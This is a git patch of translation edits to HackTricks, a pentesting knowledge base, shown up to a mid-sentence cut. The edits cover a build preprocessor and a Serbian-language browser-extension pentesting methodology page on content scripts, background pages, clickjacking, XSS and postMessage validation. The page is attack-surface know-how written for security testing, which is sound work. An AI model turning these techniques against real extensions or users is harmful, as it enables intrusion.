From 2829fdf6cc6bd82d538ef8a0eb38aef81e415d8e Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 03:27:31 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox --- .github/pull_request_template.md | 4 +- book.toml | 1 + hacktricks-preprocessor.py | 20 +- src/1911-pentesting-fox.md | 4 +- .../README.md | 98 +++---- .../browext-clickjacking.md | 14 +- ...rowext-permissions-and-host_permissions.md | 10 +- .../browext-xss-example.md | 12 +- src/pentesting-web/cache-deception/README.md | 42 +-- .../cache-deception/cache-poisoning-to-dos.md | 6 +- .../cache-poisoning-via-url-discrepancies.md | 25 +- .../README.md | 60 ++-- ...ypass-self-+-unsafe-inline-with-iframes.md | 8 +- .../README.md | 18 +- src/pentesting-web/deserialization/README.md | 76 ++--- ...er-gadgets-expandedwrapper-and-json.net.md | 12 +- .../exploiting-__viewstate-parameter.md | 16 +- ...ava-dns-deserialization-and-gadgetprobe.md | 10 +- ...ava-transformers-to-rutime-exec-payload.md | 2 +- ...g-and-directory-interface-and-log4shell.md | 75 ++--- .../README.md | 26 +- .../client-side-prototype-pollution.md | 8 +- .../express-prototype-pollution-gadgets.md | 6 +- .../prototype-pollution-to-rce.md | 18 +- .../php-deserialization-+-autoload-classes.md | 4 +- .../python-yaml-deserialization.md | 4 +- .../deserialization/ruby-class-pollution.md | 10 +- src/pentesting-web/file-inclusion/README.md | 66 ++--- ..._stream_prefer_studio-+-path-disclosure.md | 6 +- .../lfi2rce-via-eternal-waiting.md | 10 +- .../lfi2rce-via-nginx-temp-files.md | 2 +- .../file-inclusion/lfi2rce-via-php-filters.md | 8 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 2 +- .../lfi2rce-via-temp-file-uploads.md | 10 +- .../file-inclusion/phar-deserialization.md | 4 +- .../via-php_session_upload_progress.md | 2 +- src/pentesting-web/file-upload/README.md | 88 +++--- .../hacking-with-cookies/README.md | 66 ++--- .../hacking-with-cookies/cookie-bomb.md | 2 +- .../hacking-with-cookies/cookie-tossing.md | 6 +- .../http-connection-request-smuggling.md | 4 +- .../http-request-smuggling/README.md | 84 +++--- .../http-response-smuggling-desync.md | 30 +- src/pentesting-web/iframe-traps.md | 6 +- src/pentesting-web/ldap-injection.md | 8 +- src/pentesting-web/login-bypass/README.md | 4 +- .../login-bypass/sql-login-bypass.md | 2 +- src/pentesting-web/nosql-injection.md | 6 +- .../oauth-to-account-takeover.md | 38 +-- src/pentesting-web/open-redirect.md | 2 +- src/pentesting-web/orm-injection.md | 12 +- src/pentesting-web/parameter-pollution.md | 22 +- src/pentesting-web/phone-number-injections.md | 2 +- .../pocs-and-polygloths-cheatsheet/README.md | 4 +- .../postmessage-vulnerabilities/README.md | 22 +- ...blocking-main-page-to-steal-postmessage.md | 2 +- .../bypassing-sop-with-iframes-1.md | 10 +- .../bypassing-sop-with-iframes-2.md | 4 +- .../proxy-waf-protections-bypass.md | 18 +- src/pentesting-web/race-condition.md | 40 +-- src/pentesting-web/rate-limit-bypass.md | 4 +- .../registration-vulnerabilities.md | 16 +- src/pentesting-web/reset-password.md | 40 +-- src/pentesting-web/reverse-tab-nabbing.md | 4 +- src/pentesting-web/saml-attacks/README.md | 32 +-- .../saml-attacks/saml-basics.md | 16 +- ...inclusion-edge-side-inclusion-injection.md | 10 +- src/pentesting-web/sql-injection/README.md | 42 +-- .../sql-injection/ms-access-sql-injection.md | 16 +- .../sql-injection/mssql-injection.md | 14 +- .../sql-injection/mysql-injection/README.md | 8 +- .../mysql-injection/mysql-ssrf.md | 4 +- .../sql-injection/oracle-injection.md | 14 +- .../postgresql-injection/README.md | 10 +- .../big-binary-files-upload-postgresql.md | 6 +- .../dblink-lo_import-data-exfiltration.md | 4 +- ...and-ntlm-chanllenge-response-disclosure.md | 4 +- .../pl-pgsql-password-bruteforce.md | 6 +- .../rce-with-postgresql-extensions.md | 8 +- .../rce-with-postgresql-languages.md | 6 +- src/pentesting-web/sql-injection/sqlmap.md | 58 ++-- .../sql-injection/sqlmap/README.md | 38 +-- .../sqlmap/second-order-injection-sqlmap.md | 2 +- .../README.md | 18 +- .../cloud-ssrf.md | 16 +- .../url-format-bypass.md | 6 +- .../README.md | 44 +-- .../jinja2-ssti.md | 20 +- src/pentesting-web/timing-attacks.md | 8 +- .../unicode-injection/README.md | 2 +- .../unicode-normalization.md | 8 +- src/pentesting-web/web-tool-wfuzz.md | 4 +- .../web-vulnerabilities-methodology.md | 16 +- .../web-vulnerabilities-methodology/README.md | 38 +-- src/pentesting-web/websocket-attacks.md | 20 +- src/pentesting-web/xpath-injection.md | 30 +- src/pentesting-web/xs-search.md | 168 +++++------ src/pentesting-web/xs-search/README.md | 272 +++++------------- .../connection-pool-by-destination-example.md | 8 +- .../xs-search/connection-pool-example.md | 14 +- .../xs-search/css-injection/README.md | 38 +-- .../event-loop-blocking-+-lazy-images.md | 2 +- ...ble-stylesheet-language-transformations.md | 2 +- .../xss-cross-site-scripting/README.md | 80 +++--- .../abusing-service-workers.md | 30 +- .../chrome-cache-to-xss.md | 6 +- .../debugging-client-side-js.md | 2 +- .../dom-clobbering.md | 12 +- .../xss-cross-site-scripting/dom-invader.md | 10 +- .../xss-cross-site-scripting/dom-xss.md | 34 +-- .../iframes-in-xss-and-csp.md | 8 +- .../xss-cross-site-scripting/js-hoisting.md | 6 +- .../other-js-tricks.md | 4 +- .../server-side-xss-dynamic-pdf.md | 2 +- .../some-same-origin-method-execution.md | 4 +- .../xssi-cross-site-script-inclusion.md | 4 +- .../xxe-xee-xml-external-entity.md | 56 ++-- .../escaping-from-gui-applications/README.md | 34 +-- .../firmware-analysis/README.md | 26 +- .../firmware-analysis/bootloader-testing.md | 4 +- .../firmware-analysis/firmware-integrity.md | 2 +- src/physical-attacks/physical-attacks.md | 8 +- .../pentesting-ble-bluetooth-low-energy.md | 4 +- src/radio-hacking/pentesting-rfid.md | 14 +- .../aw2exec-__malloc_hook.md | 2 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 6 +- .../aws2exec-.dtors-and-.fini_array.md | 7 +- .../README.md | 6 +- .../aslr/README.md | 12 +- .../aslr/ret2plt.md | 10 +- .../no-exec-nx.md | 2 +- .../pie/README.md | 4 +- .../pie/bypassing-canary-and-pie.md | 6 +- .../relro.md | 8 +- .../stack-canaries/README.md | 14 +- .../bf-forked-stack-canaries.md | 8 +- .../stack-canaries/print-stack-canary.md | 10 +- .../common-exploiting-problems.md | 2 +- .../linux-exploiting-basic-esp/elf-tricks.md | 20 +- .../format-strings/README.md | 24 +- .../linux-exploiting-basic-esp/one-gadget.md | 2 +- .../stack-overflow/README.md | 8 +- .../stack-overflow/pointer-redirecting.md | 2 +- .../stack-overflow/ret2csu.md | 4 +- .../stack-overflow/ret2dlresolve.md | 8 +- .../stack-overflow/ret2esp-ret2reg.md | 6 +- .../stack-overflow/ret2lib/README.md | 4 +- .../rop-leaking-libc-address/README.md | 22 +- .../rop-leaking-libc-template.md | 2 +- .../stack-overflow/ret2ret.md | 6 +- .../stack-overflow/ret2win.md | 4 +- .../rop-return-oriented-programing.md | 38 +-- .../stack-overflow/rop-syscall-execv.md | 18 +- .../srop-sigreturn-oriented-programming.md | 8 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 12 +- .../stack-overflow/stack-shellcode.md | 12 +- src/reversing/common-api-used-in-malware.md | 8 +- .../cryptographic-algorithms/README.md | 12 +- .../unpacking-binaries.md | 6 +- .../reversing-tools-basic-methods/README.md | 42 +-- .../angr/README.md | 4 +- .../angr/angr-examples.md | 16 +- .../cheat-engine.md | 12 +- .../satisfiability-modulo-theories-smt-z3.md | 10 +- src/reversing/reversing-tools/README.md | 14 +- src/reversing/word-macros.md | 2 +- src/stego/stego-tricks.md | 20 +- src/todo/burp-suite.md | 2 +- src/todo/cookies-policy.md | 4 +- src/todo/hardware-hacking/README.md | 8 +- .../fault_injection_attacks.md | 4 +- src/todo/hardware-hacking/jtag.md | 4 +- src/todo/hardware-hacking/radio.md | 46 +-- src/todo/hardware-hacking/spi.md | 24 +- src/todo/hardware-hacking/uart.md | 22 +- .../README.md | 8 +- .../modbus.md | 6 +- src/todo/interesting-http.md | 4 +- src/todo/investment-terms.md | 12 +- .../0.-basic-llm-concepts.md | 32 +-- .../1.-tokenizing.md | 30 +- .../3.-token-embeddings.md | 10 +- .../4.-attention-mechanisms.md | 20 +- .../5.-llm-architecture.md | 26 +- .../7.0.-lora-improvements-in-fine-tuning.md | 8 +- ...7.2.-fine-tuning-to-follow-instructions.md | 24 +- .../llm-training-data-preparation/README.md | 2 +- src/todo/misc.md | 5 +- src/todo/more-tools.md | 12 +- src/todo/other-web-tricks.md | 2 +- src/todo/post-exploitation.md | 4 +- .../radio-hacking/fissure-the-rf-framework.md | 20 +- src/todo/radio-hacking/flipper-zero/README.md | 2 +- .../flipper-zero/fz-125khz-rfid.md | 10 +- .../radio-hacking/flipper-zero/fz-infrared.md | 4 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 18 +- .../radio-hacking/flipper-zero/fz-sub-ghz.md | 44 +-- src/todo/radio-hacking/infrared.md | 4 +- .../pentesting-ble-bluetooth-low-energy.md | 4 +- src/todo/radio-hacking/pentesting-rfid.md | 16 +- src/todo/radio-hacking/proxmark-3.md | 4 +- src/todo/radio-hacking/sub-ghz-rf.md | 24 +- src/todo/rust-basics.md | 2 +- ...itive-information-disclosure-from-a-web.md | 4 +- src/todo/test-llms.md | 6 +- src/welcome/about-the-author.md | 4 +- src/welcome/hacktricks-values-and-faq.md | 14 +- .../active-directory-methodology/README.md | 144 +++++----- .../abusing-ad-mssql.md | 16 +- .../acl-persistence-abuse/README.md | 32 +-- .../shadow-credentials.md | 6 +- .../ad-certificates.md | 6 +- .../ad-certificates/README.md | 14 +- .../ad-certificates/account-persistence.md | 4 +- .../ad-certificates/certificate-theft.md | 18 +- .../ad-certificates/domain-escalation.md | 82 +++--- .../ad-certificates/domain-persistence.md | 8 +- .../ad-dns-records.md | 2 +- .../ad-information-in-printers.md | 10 +- .../asreproast.md | 6 +- .../bloodhound.md | 10 +- .../constrained-delegation.md | 12 +- .../custom-ssp.md | 4 +- .../active-directory-methodology/dcshadow.md | 4 +- .../active-directory-methodology/dcsync.md | 8 +- .../dsrm-credentials.md | 4 +- ...external-forest-domain-one-way-outbound.md | 4 +- .../external-forest-domain-oneway-inbound.md | 12 +- .../golden-ticket.md | 6 +- .../kerberoast.md | 18 +- .../kerberos-double-hop-problem.md | 2 +- .../active-directory-methodology/laps.md | 8 +- .../pass-the-ticket.md | 6 +- .../password-spraying.md | 2 +- .../printers-spooler-service-abuse.md | 22 +- .../privileged-groups-and-token-privileges.md | 28 +- .../rdp-sessions-abuse.md | 2 +- .../resource-based-constrained-delegation.md | 22 +- .../security-descriptors.md | 4 +- .../sid-history-injection.md | 2 +- .../silver-ticket.md | 34 +-- .../skeleton-key.md | 6 +- .../unconstrained-delegation.md | 6 +- .../authentication-credentials-uac-and-efs.md | 32 +-- .../README.md | 52 ++-- .../uac-user-account-control.md | 14 +- src/windows-hardening/av-bypass.md | 58 ++-- .../basic-cmd-for-pentesters.md | 6 +- .../basic-powershell-for-pentesters/README.md | 22 +- .../powerview.md | 10 +- .../checklist-windows-privilege-escalation.md | 24 +- src/windows-hardening/cobalt-strike.md | 18 +- .../lateral-movement/README.md | 2 +- .../lateral-movement/dcom-exec.md | 8 +- .../lateral-movement/psexec-and-winexec.md | 6 +- .../lateral-movement/smbexec.md | 10 +- .../lateral-movement/wmiexec.md | 10 +- src/windows-hardening/ntlm/README.md | 34 +-- src/windows-hardening/ntlm/atexec.md | 2 +- .../ntlm/psexec-and-winexec.md | 2 +- src/windows-hardening/ntlm/smbexec.md | 10 +- src/windows-hardening/ntlm/wmiexec.md | 2 +- .../stealing-credentials/README.md | 38 +-- .../credentials-mimikatz.md | 10 +- .../credentials-protections.md | 40 +-- .../README.md | 118 ++++---- .../access-tokens.md | 14 +- .../acls-dacls-sacls-aces.md | 18 +- ...ectory-permission-over-service-registry.md | 2 +- .../com-hijacking.md | 8 +- .../create-msi-with-wix.md | 8 +- .../dll-hijacking.md | 31 +- .../dll-hijacking/README.md | 66 ++--- ...ritable-sys-path-+dll-hijacking-privesc.md | 16 +- .../dpapi-extracting-passwords.md | 4 +- .../integrity-levels.md | 2 +- .../juicypotato.md | 6 +- .../leaked-handle-exploitation.md | 14 +- .../msi-wrapper.md | 2 +- .../named-pipe-client-impersonation.md | 4 +- .../privilege-escalation-abusing-tokens.md | 14 +- .../README.md | 20 +- ...vilege-escalation-with-autorun-binaries.md | 30 +- .../seimpersonate-from-high-to-system.md | 8 +- .../windows-c-payloads.md | 2 + .../uac-user-account-control.md | 40 +-- theme/book.js | 55 ++++ theme/css/chrome.css | 52 +++- theme/index.hbs | 78 +++-- theme/sponsor.js | 2 - 290 files changed, 2571 insertions(+), 2596 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index b56b9148f..13fdc6352 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,6 +1,4 @@ -Možete ukloniti ovaj sadržaj pre slanja PR-a: - ## Attribution -Cenimo vaše znanje i podstičemo vas da delite sadržaj. Molimo vas da osigurate da postavljate samo sadržaj koji posedujete ili za koji imate dozvolu da ga delite od originalnog autora (dodajući referencu na autora u dodatom tekstu ili na kraju stranice koju modifikujete ili oboje). Vaše poštovanje prava intelektualne svojine doprinosi pouzdanom i legalnom okruženju za deljenje za sve. +Cenimo vaše znanje i podstičemo vas da delite sadržaj. Molimo vas da osigurate da postavljate samo sadržaj koji posedujete ili za koji imate dozvolu da ga delite od originalnog autora (dodajući referencu na autora u dodatom tekstu ili na kraju stranice koju modifikujete ili oboje). Vaše poštovanje prava intelektualne svojine doprinosi pouzdanoj i legalnoj sredini deljenja za sve. Hvala vam što doprinosite HackTricks! diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md index 723deaaae..057fe25e7 100644 --- a/src/1911-pentesting-fox.md +++ b/src/1911-pentesting-fox.md @@ -4,9 +4,9 @@ I više usluga: -ubiquiti-discover udp "Ubiquiti Networks uređaj" +ubiquiti-discover udp "Ubiquiti Networks Device" -dht udp "DHT čvorovi" +dht udp "DHT Nodes" 5060 udp sip "SIP/" diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 9fd7eb228..3985b4eb8 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -61,7 +61,7 @@ Primer: ``` ### `content_scripts` -Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo koja stranica koja odgovara **`https://example.com/*`** izrazu i ne odgovara **`*://*/*/business*`** regex-u. Izvršavaju se **poput skripti same stranice** i imaju proizvoljan pristup [Modelu objekta dokumenta (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) stranice. +Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo koja stranica koja odgovara **`https://example.com/*`** izrazu i ne odgovara **`*://*/*/business*`** regex-u. Izvršavaju se **kao sopstvene skripte stranice** i imaju proizvoljan pristup [Modelu objekta dokumenta (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) stranice. ```json "content_scripts": [ { @@ -78,7 +78,7 @@ Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgova ``` Da bi se uključilo ili isključilo više URL-ova, takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**. -Ovo je primer sadržajnog skripta koji će dodati dugme za objašnjenje na stranicu kada [storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) preuzme `message` vrednost iz skladišta ekstenzije. +Ovo je primer sadržajnog skripta koji će dodati dugme za objašnjenje na stranicu kada [API za skladištenje](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) preuzme `message` vrednost iz skladišta ekstenzije. ```js chrome.storage.local.get("message", (result) => { let div = document.createElement("div") @@ -91,7 +91,7 @@ document.body.appendChild(div) ```
-Poruka se šalje na stranice ekstenzije putem sadržajnog skripta kada se pritisne ovaj dugme, korišćenjem [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). To je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` jedan od retkih izuzetaka. Za funkcionalnosti izvan ovih izuzetaka, poruke se šalju na stranice ekstenzije sa kojima sadržajni skripti mogu komunicirati. +Poruka se šalje na stranice ekstenzije putem sadržajnog skripta kada se klikne na ovaj dugme, korišćenjem [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). To je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` jedan od retkih izuzetaka. Za funkcionalnosti izvan ovih izuzetaka, poruke se šalju na stranice ekstenzije sa kojima sadržajni skripti mogu komunicirati. > [!WARNING] > U zavisnosti od pretraživača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pretraživače zasnovane na Chromium-u, lista mogućnosti je dostupna u [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) služi kao primarni izvor.\ @@ -106,7 +106,7 @@ Kada se prikažu alati za programere, treba kliknuti na **Source tab**, a zatim > [!TIP] > Imajte na umu da **Sadržajni skripti nisu obavezni** jer je takođe moguće **dinamički** **umetati** skripte i **programatski ih umetati** na web stranice putem **`tabs.executeScript`**. Ovo zapravo pruža više **granularnih kontrola**. -Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju se skripte umetnu. Ove dozvole mogu se obezbediti ili **zahtevom** unutar manifest-a ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju se skripte umetnu. Ove dozvole mogu se obezbediti ili **zahtevom** unutar manifestacije ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Primer ekstenzije zasnovane na activeTab ```json:manifest.json @@ -208,18 +208,18 @@ js: ["contentScript.js"], ``` ### `background` -Poruke koje šalju sadržajni skripti primaju se na **background page**, koja ima centralnu ulogu u koordinaciji komponenti ekstenzije. Značajno je da background page opstaje tokom celog trajanja ekstenzije, delujući diskretno bez direktne interakcije korisnika. Ima svoj vlastiti Document Object Model (DOM), što omogućava složene interakcije i upravljanje stanjem. +Poruke koje šalju sadržajni skripti primaju **pozadinske stranice**, koje imaju centralnu ulogu u koordinaciji komponenti ekstenzije. Važno je napomenuti da pozadinska stranica opstaje tokom celog trajanja ekstenzije, delujući diskretno bez direktne interakcije korisnika. Ima svoj vlastiti Model objekta dokumenta (DOM), što omogućava složene interakcije i upravljanje stanjem. **Ključne tačke**: -- **Uloga Background Page:** Deluje kao nervni centar za ekstenziju, obezbeđujući komunikaciju i koordinaciju među različitim delovima ekstenzije. +- **Uloga pozadinske stranice:** Deluje kao nervni centar za ekstenziju, obezbeđujući komunikaciju i koordinaciju među različitim delovima ekstenzije. - **Postojanost:** To je uvek prisutna entitet, nevidljiva korisniku, ali integralna za funkcionalnost ekstenzije. -- **Automatska Generacija:** Ako nije eksplicitno definisana, pretraživač će automatski kreirati background page. Ova automatski generisana stranica će uključivati sve background skripte navedene u manifestu ekstenzije, obezbeđujući nesmetano funkcionisanje pozadinskih zadataka ekstenzije. +- **Automatska generacija:** Ako nije eksplicitno definisana, pretraživač će automatski kreirati pozadinsku stranicu. Ova automatski generisana stranica će uključivati sve pozadinske skripte navedene u manifestu ekstenzije, obezbeđujući nesmetano funkcionisanje pozadinskih zadataka ekstenzije. > [!TIP] -> Povoljnost koju pretraživač pruža automatskim generisanjem background page (kada nije eksplicitno deklarisana) osigurava da su sve potrebne background skripte integrisane i operativne, pojednostavljujući proces postavljanja ekstenzije. +> Povoljnost koju pretraživač pruža automatskim generisanjem pozadinske stranice (kada nije eksplicitno deklarisana) osigurava da su sve potrebne pozadinske skripte integrisane i operativne, pojednostavljujući proces postavljanja ekstenzije. -Primer background skripte: +Primer pozadinske skripte: ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (request == "explain") { @@ -238,7 +238,7 @@ Da biste debagovali pozadinski skript, možete otići na **detalje ekstenzije i Ekstenzije pretraživača mogu sadržati razne vrste stranica: - **Akcione stranice** se prikazuju u **ispod kada se klikne na ikonu ekstenzije.** -- Stranice koje će ekstenzija **učitati u novoj kartici.** +- Stranice koje ekstenzija **učitava u novoj kartici.** - **Opcione stranice**: Ova stranica se prikazuje na vrhu ekstenzije kada se klikne. U prethodnom manifestu, u mom slučaju, mogao sam da pristupim ovoj stranici na `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ili klikom:
@@ -262,7 +262,7 @@ browext-permissions-and-host_permissions.md ### `content_security_policy` -**Politika bezbednosti sadržaja** može biti deklarisana i unutar `manifest.json`. Ako je jedna definisana, mogla bi biti **ranjiva**. +**Politika bezbednosti sadržaja** može se takođe deklarisati unutar `manifest.json`. Ako je jedna definisana, mogla bi biti **ranjiva**. Podrazumevana postavka za stranice ekstenzija pretraživača je prilično restriktivna: ```bash @@ -305,21 +305,21 @@ U javnim ekstenzijama **extension-id je dostupan**: Međutim, ako se koristi parametar `manifest.json` **`use_dynamic_url`**, ovaj **id može biti dinamičan**. > [!TIP] -> Imajte na umu da čak i ako je stranica ovde pomenuta, može biti **zaštićena od ClickJacking** zahvaljujući **Content Security Policy**. Takođe treba da proverite (odeljak frame-ancestors) pre nego što potvrdite da je ClickJacking napad moguć. +> Imajte na umu da čak i ako je stranica ovde pomenuta, može biti **zaštićena od ClickJacking** zahvaljujući **Content Security Policy**. Takođe treba da proverite (sekcija frame-ancestors) pre nego što potvrdite da je ClickJacking napad moguć. -Dozvola pristupa ovim stranicama čini ih **potencijalno ranjivim na ClickJacking**: +Mogućnost pristupa ovim stranicama čini ih **potencijalno ranjivim na ClickJacking**: {{#ref}} browext-clickjacking.md {{#endref}} > [!TIP] -> Dozvoljavanje da se ove stranice učitavaju samo putem ekstenzije, a ne putem nasumičnih URL-ova može sprečiti ClickJacking napade. +> Dozvoljavanje da se ove stranice učitavaju samo putem ekstenzije, a ne putem nasumičnih URL-ova moglo bi sprečiti ClickJacking napade. > [!CAUTION] -> Imajte na umu da stranice iz **`web_accessible_resources`** i druge stranice ekstenzije takođe mogu **kontaktirati pozadinske skripte**. Dakle, ako je jedna od ovih stranica ranjiva na **XSS**, to može otvoriti veću ranjivost. +> Imajte na umu da stranice iz **`web_accessible_resources`** i druge stranice ekstenzije takođe mogu **kontaktirati pozadinske skripte**. Dakle, ako je jedna od ovih stranica ranjiva na **XSS**, to bi moglo otvoriti veću ranjivost. > -> Pored toga, imajte na umu da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz nove kartice je moguće pristupiti bilo kojoj stranici u ekstenziji poznavajući ID ekstenzije. Stoga, ako se pronađe XSS koji zloupotrebljava iste parametre, može se zloupotrebiti čak i ako stranica nije konfigurisana u **`web_accessible_resources`**. +> Pored toga, imajte na umu da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz nove kartice je moguće pristupiti bilo kojoj stranici u ekstenziji poznavajući ID ekstenzije. Stoga, ako se pronađe XSS koji zloupotrebljava iste parametre, može se zloupotrebljavati čak i ako stranica nije konfigurisana u **`web_accessible_resources`**. ### `externally_connectable` @@ -338,17 +338,17 @@ Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest Što je **manje ekstenzija i URL-ova** ovde navedeno, to će biti **manja površina napada**. > [!CAUTION] -> Ako je veb stranica **ranjiva na XSS ili preuzimanje** navedena u **`externally_connectable`**, napadač će moći da **pošalje poruke direktno u pozadinski skript**, potpuno zaobilazeći Content Script i njegov CSP. +> Ako je veb stranica **vulnerable to XSS or takeover** navedena u **`externally_connectable`**, napadač će moći da **pošalje poruke direktno u pozadinski skript**, potpuno zaobilazeći Content Script i njegov CSP. > > Stoga, ovo je **veoma moćan zaobilazni način**. > -> Štaviše, ako klijent instalira lažnu ekstenziju, čak i ako nije dozvoljeno da komunicira sa ranjivom ekstenzijom, mogla bi da ubrizga **XSS podatke u dozvoljenu veb stranicu** ili zloupotrebi **`WebRequest`** ili **`DeclarativeNetRequest`** API-je da manipuliše zahtevima na ciljanom domenu menjajući zahtev stranice za **JavaScript datoteku**. (Imajte na umu da CSP na ciljnoj stranici može sprečiti ove napade). Ova ideja dolazi [**iz ovog izveštaja**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Štaviše, ako klijent instalira lažnu ekstenziju, čak i ako nije dozvoljeno da komunicira sa ranjivom ekstenzijom, mogla bi da ubrizga **XSS podatke u dozvoljenu veb stranicu** ili zloupotrebi **`WebRequest`** ili **`DeclarativeNetRequest`** API-je da manipuliše zahtevima na ciljanom domenu menjajući zahtev stranice za **JavaScript datoteku**. (Imajte na umu da CSP na ciljnoj stranici može sprečiti ove napade). Ova ideja dolazi [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). ## Sažetak komunikacije ### Ekstenzija <--> WebApp -Za komunikaciju između sadržajnog skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete pronaći pozive funkciji **`window.postMessage`** i u sadržajnom skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Poruke** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript. +Za komunikaciju između sadržajnog skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete pronaći pozive funkciji **`window.postMessage`** i u sadržajnom skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Message** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript. ### Unutar ekstenzije @@ -450,7 +450,7 @@ window.postMessage( false ) ``` -Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke, to se može uraditi proverom: +Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke, što se može uraditi proverom: - **`event.isTrusted`**: Ovo je Tačno samo ako je događaj pokrenut akcijom korisnika - Sadržajni skript može očekivati poruku samo ako korisnik izvrši neku akciju @@ -486,7 +486,7 @@ browext-xss-example.md Sadržajni Skript može koristiti funkcije [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ili** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) za slanje **jednokratne JSON-serializovane** poruke. -Da biste obradili **odgovor**, koristite vraćeni **Promise**. Iako, za unazadnu kompatibilnost, još uvek možete proslediti **callback** kao poslednji argument. +Da biste obradili **odgovor**, koristite vraćeni **Promise**. Iako, za unazad kompatibilnost, još uvek možete proslediti **callback** kao poslednji argument. Slanje zahteva iz **sadržajnog skripta** izgleda ovako: ```javascript @@ -521,11 +521,11 @@ sender.tab if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) }) ``` -U istaknutom primeru, **`sendResponse()`** je izvršen na sinhroni način. Da bi se modifikovao `onMessage` handler za asinhrono izvršavanje `sendResponse()`, neophodno je uključiti `return true;`. +U istaknutom primeru, **`sendResponse()`** je izvršen na sinhroni način. Da bi se modifikovao `onMessage` događaj za asinhrono izvršavanje `sendResponse()`, neophodno je uključiti `return true;`. -Važna stvar koju treba 